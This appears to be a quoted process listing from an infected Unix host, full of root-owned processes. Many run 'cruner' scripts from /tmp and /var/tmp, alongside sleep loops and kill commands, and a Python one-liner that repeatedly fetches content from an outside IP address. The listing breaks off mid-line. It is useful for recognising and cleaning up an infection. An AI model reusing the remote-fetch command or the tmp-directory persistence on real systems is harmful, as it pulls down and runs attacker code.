<defunct> > root 14785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7414 5107 0 15:45:04 ? 0:00 bash -sh > root 15222 22420 0 15:45:25 ? 0:00 sleep 60 > root 3571 3232 0 15:45:58 ? 0:00 sleep 60 > root 25422 22540 0 - ? 0:00 <defunct> > root 25755 915 0 15:45:43 ? 0:00 xargs kill -9 > root 27343 27330 0 15:43:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5802 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8497 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3140 21148 0 15:45:44 ? 0:00 sleep 60 > root 11715 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2175 1999 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22608 12333 0 - ? 0:00 <defunct> > root 27956 23651 0 - ? 0:00 <defunct> > root 28469 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20561 14907 0 15:45:38 ? 0:00 bash -sh > root 1484 1958 0 15:45:24 ? 0:00 sleep 60 > root 11478 18747 0 - ? 0:00 <defunct> > root 17685 26647 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 21752 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20322 20300 0 15:43:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3564 629 0 15:45:48 ? 0:00 sleep 60 > root 5199 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1984 10765 0 15:45:39 ? 0:00 bash -sh > root 14225 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25958 8057 0 - ? 0:00 <defunct> > root 4848 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23466 10785 0 15:45:13 ? 0:00 sleep 60 > root 14355 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22725 7342 0 - ? 0:00 <defunct> > root 17841 23243 0 - ? 0:00 <defunct> > root 14850 14836 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2050 2012 0 15:46:06 ? 0:00 bash -sh > root 6533 14085 0 - ? 0:00 <defunct> > root 17329 21200 0 - ? 0:00 <defunct> > root 24612 6373 0 - ? 0:00 <defunct> > root 14520 8650 0 - ? 0:00 <defunct> > root 29920 1796 0 15:43:41 ? 0:00 bash -sh > root 12960 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26256 24325 0 - ? 0:00 <defunct> > root 14324 21436 0 15:46:04 ? 0:00 bash -sh > root 15995 23642 0 - ? 0:00 <defunct> > root 7366 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15256 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6060 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 937 25430 0 15:45:58 ? 0:00 sleep 60 > root 23965 90 0 15:45:13 ? 0:00 bash -sh > root 3847 3787 0 15:43:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24041 24023 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 7839 11582 0 - ? 0:00 <defunct> > root 22774 22753 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11356 29632 0 - ? 0:00 <defunct> > root 7187 25979 0 15:46:03 ? 0:00 bash -sh > root 8226 28373 0 - ? 0:00 <defunct> > root 11039 24750 0 15:45:50 ? 0:00 bash -sh > root 18488 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17813 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26022 24796 0 15:45:34 ? 0:00 sleep 60 > root 3759 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16778 838 0 15:44:52 ? 0:00 bash -sh > root 10838 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12869 26339 0 15:45:41 ? 0:00 sleep 60 > root 23439 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23161 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10756 23721 0 15:43:59 ? 0:00 bash -sh > root 5413 3497 0 - ? 0:00 <defunct> > root 8661 5373 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15652 5724 0 - ? 0:00 <defunct> > root 16848 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29753 29581 0 15:45:48 ? 0:00 sh /tmp/cruner > root 16785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17777 11896 0 - ? 0:00 <defunct> > root 5882 8723 0 15:45:28 ? 0:00 sleep 60 > root 13390 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7787 18109 0 15:45:58 ? 0:00 sleep 60 > root 29081 21412 0 15:45:34 ? 0:00 sleep 60 > root 20919 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20926 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14386 4227 0 15:44:05 ? 0:00 bash -sh > root 8268 2671 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 23445 20183 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 23638 2811 0 15:45:47 ? 0:00 sleep 60 > root 28214 22682 0 15:45:18 ? 0:00 sleep 60 > root 10795 4873 0 15:45:41 ? 0:00 sleep 60 > root 29713 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10584 19609 0 15:42:47 ? 0:00 bash -sh > root 10046 4570 0 15:45:10 ? 0:00 bash -sh > root 10152 5361 0 - ? 0:00 <defunct> > root 26664 5499 0 15:45:34 ? 0:00 sleep 60 > root 24817 21826 0 15:45:23 ? 0:00 sleep 60 > root 13815 1831 0 - ? 0:00 <defunct> > root 16561 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25296 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24878 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9400 1021 0 - ? 0:00 <defunct> > root 20844 6361 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3387 7445 0 15:46:11 ? 0:00 bash -sh > root 23598 10761 0 - ? 0:00 <defunct> > root 22036 7703 0 15:45:06 ? 0:00 bash -sh > root 15619 25642 0 15:45:22 ? 0:00 sleep 60 > root 19502 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 1454 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12974 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28836 3478 0 15:44:55 ? 0:00 bash -sh > root 26797 13840 0 15:45:57 ? 0:00 sleep 60 > root 29381 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14231 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18119 20727 0 - ? 0:00 <defunct> > root 26098 1592 0 - ? 0:00 <defunct> > root 688 5123 0 15:45:48 ? 0:00 sh /tmp/cruner > root 26851 14092 0 15:43:53 ? 0:00 bash -sh > root 3243 10629 0 - ? 0:00 <defunct> > root 81 16142 0 - ? 0:00 <defunct> > root 22761 20381 0 15:45:47 ? 0:00 bash -sh > root 20124 3518 0 15:45:42 ? 0:00 sleep 60 > root 12498 14694 0 - ? 0:00 <defunct> > root 7444 17981 0 15:45:36 ? 0:00 bash -sh > root 11531 7665 0 15:45:32 ? 0:00 bash -sh > root 185 6803 0 - ? 0:00 <defunct> > root 16335 1567 0 - ? 0:00 <defunct> > root 22240 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28423 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 5739 5702 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 612 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19719 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24642 18136 0 - ? 0:00 <defunct> > root 28860 27874 0 - ? 0:00 <defunct> > root 24160 18601 0 15:45:02 ? 0:00 bash -sh > root 27053 17800 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1523 1310 0 15:43:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18461 9454 0 - ? 0:00 <defunct> > root 9042 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6685 9362 0 15:45:35 ? 0:00 sleep 60 > root 4730 27880 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3696 18378 0 15:45:58 ? 0:00 sleep 60 > root 11398 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15066 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17462 29938 0 15:45:51 ? 0:00 sleep 60 > root 7858 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11470 16150 0 15:45:59 ? 0:00 sh /tmp/cruner > root 15168 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3542 6773 0 15:45:48 ? 0:00 xargs kill -9 > root 4927 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12090 16446 0 15:45:50 ? 0:00 sleep 60 > root 6395 6222 0 - ? 0:00 <defunct> > root 9260 8479 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22808 350 0 15:45:43 ? 0:00 xargs kill -9 > root 16369 1587 0 15:45:56 ? 0:00 bash -sh > root 29684 19883 0 - ? 0:00 <defunct> > root 4896 4874 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 312 2033 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 165 6606 0 15:46:06 ? 0:00 bash -sh > root 13962 28636 0 - ? 0:00 <defunct> > root 2193 26843 0 15:46:11 ? 0:00 bash -sh > root 28056 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19504 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8710 10729 0 15:46:07 ? 0:00 sleep 60 > root 26892 15284 0 15:46:02 ? 0:00 bash -sh > root 13648 19430 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 26550 10660 0 15:45:18 ? 0:00 sleep 60 > root 1888 2278 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3174 23156 0 15:45:35 ? 0:00 sleep 60 > root 17403 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18775 12286 0 - ? 0:00 <defunct> > root 24272 6986 0 - ? 0:00 <defunct> > root 301 26659 0 - ? 0:00 <defunct> > root 5552 796 0 15:46:06 ? 0:00 sleep 60 > root 4243 1785 0 15:45:48 ? 0:00 bash -sh > root 20003 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3362 14085 0 - ? 0:00 <defunct> > root 7486 6358 0 - ? 0:00 <defunct> > root 9995 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26933 1859 0 15:46:02 ? 0:00 sh /tmp/cruner > root 29090 6997 0 15:45:34 ? 0:00 sleep 60 > root 26713 8423 0 15:45:34 ? 0:00 sleep 60 > root 26565 21156 0 15:46:10 ? 0:00 sleep 60 > root 14946 19634 0 15:45:29 ? 0:00 sleep 60 > root 22609 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2625 27910 0 15:46:02 ? 0:00 sleep 60 > root 27928 8497 0 15:45:07 ? 0:00 bash -sh > root 4734 28859 0 - ? 0:00 <defunct> > root 27216 24830 0 15:45:18 ? 0:00 sleep 60 > root 12558 9246 0 - ? 0:00 <defunct> > root 10118 5469 0 - ? 0:00 <defunct> > root 16164 12965 0 15:45:51 ? 0:00 bash -sh > root 28291 7736 0 15:45:08 ? 0:00 bash -sh > root 18651 16632 0 15:45:26 ? 0:00 sleep 60 > root 26848 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1409 2246 0 15:45:58 ? 0:00 sleep 60 > root 15356 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12924 29573 0 15:45:36 ? 0:00 bash -sh > root 25197 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19600 13033 0 15:45:29 ? 0:00 sleep 60 > root 26951 6039 0 15:45:18 ? 0:00 sleep 60 > root 28480 10308 0 15:45:34 ? 0:00 sleep 60 > root 10403 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19628 501 0 - ? 0:00 <defunct> > root 26934 14516 0 15:45:18 ? 0:00 sleep 60 > root 22628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27574 9782 0 15:45:34 ? 0:00 sleep 60 > root 15737 5533 0 15:45:11 ? 0:00 sleep 60 > root 12093 12070 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2702 29392 0 15:46:02 ? 0:00 sleep 60 > root 18621 13698 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28428 10241 0 - ? 0:00 <defunct> > root 2234 6200 0 15:46:11 ? 0:00 bash -sh > root 22817 1574 0 - ? 0:00 <defunct> > root 21275 21272 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11112 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21262 21187 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 18217 22917 0 - ? 0:00 <defunct> > root 17348 13687 0 15:44:52 ? 0:00 bash -sh > root 4851 1 0 20:04:56 ? 0:00 sh /var/tmp/cruner > root 5132 5063 0 - ? 0:00 <defunct> > root 24392 24367 0 - ? 0:00 <defunct> > root 27826 25588 0 15:46:10 ? 0:00 xargs kill -9 > root 8927 19625 0 15:46:12 ? 0:00 bash -sh > root 25640 23240 0 15:43:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6619 16138 0 15:45:58 ? 0:00 sleep 60 > root 3438 15960 0 15:45:48 ? 0:00 sleep 60 > root 25269 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2783 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24211 7335 0 - ? 0:00 <defunct> > root 24595 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20913 26842 0 15:45:42 ? 0:00 bash -sh > root 19895 23762 0 15:45:56 ? 0:00 sleep 60 > root 18652 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1930 29155 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9094 27289 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 7631 7598 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1886 2281 0 - ? 0:00 <defunct> > root 26513 2573 0 15:46:01 ? 0:00 bash -sh > root 5252 18194 0 15:42:46 ? 0:00 bash -sh > root 3239 13291 0 15:46:11 ? 0:00 bash -sh > root 19466 1 0 21:08:29 ? 0:00 sh /var/tmp/cruner > root 11610 10806 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26610 137 0 15:45:18 ? 0:00 sleep 60 > root 10381 21342 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22983 5430 0 - ? 0:00 <defunct> > root 16668 18409 0 15:45:46 ? 0:00 bash -sh > root 1447 3373 0 15:45:19 ? 0:00 bash -sh > root 22130 2276 0 - ? 0:00 <defunct> > root 29481 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14491 14469 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27845 27839 0 15:45:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19606 9196 0 15:46:09 ? 0:00 bash -sh > root 26354 8759 0 - ? 0:00 <defunct> > root 29983 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17056 1 0 22:44:58 ? 0:00 sh /var/tmp/cruner > root 19556 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16111 9052 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 3498 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27317 4786 0 15:45:34 ? 0:00 sleep 60 > root 1066 16173 0 15:45:48 ? 0:00 sleep 60 > root 23767 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28780 18376 0 15:45:34 ? 0:00 sleep 60 > root 10336 27854 0 - ? 0:00 <defunct> > root 22985 2047 0 - ? 0:00 <defunct> > root 7200 9462 0 - ? 0:00 <defunct> > root 19123 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8727 8458 0 - ? 0:00 <defunct> > root 12301 11389 0 - ? 0:00 <defunct> > root 10845 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1439 888 0 15:45:14 ? 0:00 sleep 60 > root 27234 19933 0 15:45:18 ? 0:00 sleep 60 > root 13251 26623 0 - ? 0:00 <defunct> > root 12262 1736 0 15:45:41 ? 0:00 xargs kill -9 > root 12116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12288 4816 0 - ? 0:00 <defunct> > root 15278 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17025 602 0 - ? 0:00 <defunct> > root 11858 8718 0 15:45:59 ? 0:00 bash -sh > root 23747 26442 0 15:45:26 ? 0:00 bash -sh > root 24004 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29085 27595 0 15:45:34 ? 0:00 sleep 60 > root 4448 26240 0 - ? 0:00 <defunct> > root 17831 7935 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4932 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12057 16115 0 - ? 0:00 <defunct> > root 11536 10692 0 15:45:36 ? 0:00 bash -sh > root 14232 17733 0 15:46:08 ? 0:00 sleep 60 > root 22432 22423 0 15:43:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14449 14388 0 - ? 0:00 <defunct> > root 15974 5442 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6131 25698 0 15:45:58 ? 0:00 bash -sh > root 21582 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7232 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21821 24604 0 - ? 0:00 <defunct> > root 21836 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6851 3485 0 15:45:40 ? 0:00 sleep 60 > root 1933 21487 0 - ? 0:00 <defunct> > root 7328 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27357 14677 0 15:46:02 ? 0:00 sleep 60 > root 749 26104 0 15:45:44 ? 0:00 bash -sh > root 25527 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9538 15947 0 - ? 0:00 <defunct> > root 6155 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14739 9262 0 15:44:47 ? 0:00 bash -sh > root 14955 7356 0 - ? 0:00 <defunct> > root 18156 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11155 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10954 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19498 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3798 21376 0 15:45:15 ? 0:00 sleep 60 > root 26461 13726 0 - ? 0:00 <defunct> > root 18088 18826 0 - ? 0:00 <defunct> > root 12728 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 694 7444 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17745 17718 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20757 27620 0 15:46:09 ? 0:00 sleep 60 > root 13279 19784 0 15:45:55 ? 0:00 sleep 60 > root 2108 286 0 - ? 0:00 <defunct> > root 11514 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27621 5149 0 15:45:34 ? 0:00 sleep 60 > root 7050 16955 0 15:45:20 ? 0:00 sleep 60 > root 9376 2534 0 15:45:36 ? 0:00 sleep 60 > root 9721 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 629 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8687 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22732 19079 0 - ? 0:00 <defunct> > root 28089 13274 0 15:45:30 ? 0:00 bash -sh > root 23673 23658 0 15:43:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24709 29874 0 15:45:27 ? 0:00 sleep 60 > root 9230 2836 0 15:45:59 ? 0:00 bash -sh > root 18115 5246 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13555 13551 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12176 4989 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25573 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15219 10908 0 15:45:51 ? 0:00 bash -sh > root 23216 13536 0 - ? 0:00 <defunct> > root 6637 20242 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15385 6026 0 - ? 0:00 <defunct> > root 27395 4946 0 15:45:34 ? 0:00 sleep 60 > root 18813 18807 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26244 24409 0 - ? 0:00 <defunct> > root 5085 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4505 873 0 15:44:50 ? 0:00 bash -sh > root 6804 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18510 18497 0 15:46:09 ? 0:00 sleep 60 > root 10947 7897 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14895 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 20165 11396 0 15:43:28 ? 0:00 bash -sh > root 2796 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4753 4749 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23482 29769 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18492 27800 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29207 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7907 27389 0 15:45:40 ? 0:00 xargs kill -9 > root 23759 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17928 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21354 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21705 19422 0 15:45:26 ? 0:00 bash -sh > root 16488 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3064 9992 0 15:42:35 ? 0:00 bash -sh > root 146 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 22779 25643 0 15:43:28 ? 0:00 bash -sh > root 28539 9622 0 15:45:34 ? 0:00 sleep 60 > root 6526 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12680 25817 0 - ? 0:00 <defunct> > root 26333 7732 0 15:45:43 ? 0:00 sleep 60 > root 25828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7047 15495 0 - ? 0:00 <defunct> > root 22167 11057 0 - ? 0:00 <defunct> > root 14187 25996 0 - ? 0:00 <defunct> > root 637 5502 0 15:44:22 ? 0:00 bash -sh > root 14373 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3979 26888 0 15:45:40 ? 0:00 bash -sh > root 7973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26443 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22827 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21399 27634 0 - ? 0:00 <defunct> > root 18528 9048 0 15:45:51 ? 0:00 sleep 60 > root 28768 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17742 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6955 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22857 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29869 21112 0 15:46:11 ? 0:00 xargs kill -9 > root 6779 1957 0 - ? 0:00 <defunct> > root 413 12072 0 15:45:18 ? 0:00 bash -sh > root 20674 2665 0 - ? 0:00 <defunct> > root 28285 8448 0 15:45:34 ? 0:00 sleep 60 > root 4149 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3082 2823 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19639 14002 0 15:45:38 ? 0:00 bash -sh > root 18232 18228 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11482 9241 0 - ? 0:00 <defunct> > root 388 27500 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 2834 1099 0 - ? 0:00 <defunct> > root 29733 26704 0 15:45:34 ? 0:00 sleep 60 > root 15122 9721 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 2032 10559 0 15:45:39 ? 0:00 bash -sh > root 13415 14799 0 15:46:08 ? 0:00 xargs kill -9 > root 26940 4312 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12782 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28874 11604 0 15:45:34 ? 0:00 sleep 60 > root 27173 14712 0 15:45:47 ? 0:00 xargs kill -9 > root 27120 1 0 20:43:41 ? 0:00 sh /var/tmp/cruner > root 23810 20165 0 15:43:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11191 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1563 5532 0 15:45:48 ? 0:00 sleep 60 > root 5442 21388 0 15:45:24 ? 0:00 xargs kill -9 > root 24320 10042 0 - ? 0:00 <defunct> > root 22666 8166 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6495 5961 0 15:44:13 ? 0:00 bash -sh > root 20210 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20304 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25720 354 0 15:44:54 ? 0:00 bash -sh > root 24042 6592 0 - ? 0:00 <defunct> > root 23764 8242 0 15:44:19 ? 0:00 bash -sh > root 3703 11673 0 15:44:22 ? 0:00 bash -sh > root 24013 749 0 15:45:52 ? 0:00 xargs kill -9 > root 10024 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14030 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23279 23133 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18008 12483 0 15:43:12 ? 0:00 bash -sh > root 1169 20533 0 - ? 0:00 <defunct> > root 21830 23955 0 15:46:09 ? 0:00 awk {print $7} > root 8943 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 69 27202 0 15:45:18 ? 0:00 bash -sh > root 16371 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27854 8997 0 15:45:34 ? 0:00 bash -sh > root 8383 10422 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 10429 27364 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 5943 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7431 12948 0 15:45:25 ? 0:00 bash -sh > root 10797 21963 0 - ? 0:00 <defunct> > root 28523 10933 0 15:45:34 ? 0:00 sleep 60 > root 21203 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 742 18761 0 - ? 0:00 <defunct> > root 1437 27193 0 15:45:48 ? 0:00 sleep 60 > root 18631 23722 0 15:46:09 ? 0:00 bash -sh > root 2214 3379 0 15:44:02 ? 0:00 bash -sh > root 28974 7441 0 - ? 0:00 <defunct> > root 4901 23707 0 - ? 0:00 <defunct> > root 5212 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28872 21752 0 15:44:10 ? 0:00 bash -sh > root 6958 17970 0 15:46:07 ? 0:00 bash -sh > root 20889 78 0 15:44:53 ? 0:00 bash -sh > root 23209 7314 0 15:46:05 ? 0:00 sleep 60 > root 20855 5508 0 15:46:09 ? 0:00 bash -sh > root 7817 3325 0 15:45:20 ? 0:00 sleep 60 > root 9629 14416 0 15:46:12 ? 0:00 bash -sh > root 1729 50 0 15:45:53 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21214 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9868 14315 0 15:45:55 ? 0:00 bash -sh > root 17138 11205 0 15:45:56 ? 0:00 xargs kill -9 > root 3301 7986 0 - ? 0:00 <defunct> > root 27185 13617 0 15:46:10 ? 0:00 xargs kill -9 > root 6654 8017 0 - ? 0:00 <defunct> > root 3732 24032 0 - ? 0:00 <defunct> > root 10132 8898 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print 